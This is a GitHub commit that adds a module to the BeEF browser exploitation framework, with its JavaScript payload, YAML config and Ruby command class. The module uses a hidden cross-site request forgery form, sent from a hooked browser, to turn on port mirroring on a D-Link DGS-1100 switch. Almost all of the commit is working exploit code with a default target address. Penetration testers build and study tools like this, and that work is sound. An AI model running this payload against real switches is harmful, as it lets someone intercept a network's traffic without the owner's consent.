Merge pull request #1369 from nstarke/branches/dlink_dgs_1100-port-mirroring

Adding DLink DGS 1100 Port Mirroring module
This commit is contained in:
Brendan Coles
2017-02-26 12:37:59 +11:00
committed by GitHub
3 changed files with 68 additions and 0 deletions

View File

@@ -0,0 +1,33 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// Hooked browser must be authenticated to switch.
var base = '<%= @base %>';
var totalports = parseInt('<%= @totalports %>');
var mirrorport = parseInt('<%= @mirrorport %>');
var mask = '';
for (var i = 1; i <= totalports; i++) {
mask += i == mirrorport ? "0" : "1";
}
var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/PortMirroring.cgi', 'POST', 'application/x-www-form-urlencoded', [
{ type: 'hidden', name: 'cEn', value: 1 },
{ type: 'hidden', name: 'sTagP', value: mirrorport },
{ type: 'hidden', name: 'sMode', value: 2 },
{ type: 'hidden', name: 'SrcLst', value: mask }
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(dlink_dgs_iframe);
}
setTimeout("cleanup()", 15000);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
Dlink_dgs_1100_port_mirroring_csrf:
enable: true
category: ["Exploits", "Switch"]
name: "DLINK DGS 1100-08 Port Mirroring CSRF"
description: "Enables port mirroring on a specified switch port"
authors: ["Nick Starke"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,20 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Dlink_dgs_1100_port_mirroring_csrf < BeEF::Core::Command
def self.options
return [
{'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90'},
{'name' => 'mirrorport', 'ui_label' => 'Switch port to mirror traffic on', 'value' => 1},
{'name' => 'totalports', 'ui_label' => 'Total number of ports on switch', 'value' => 8}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end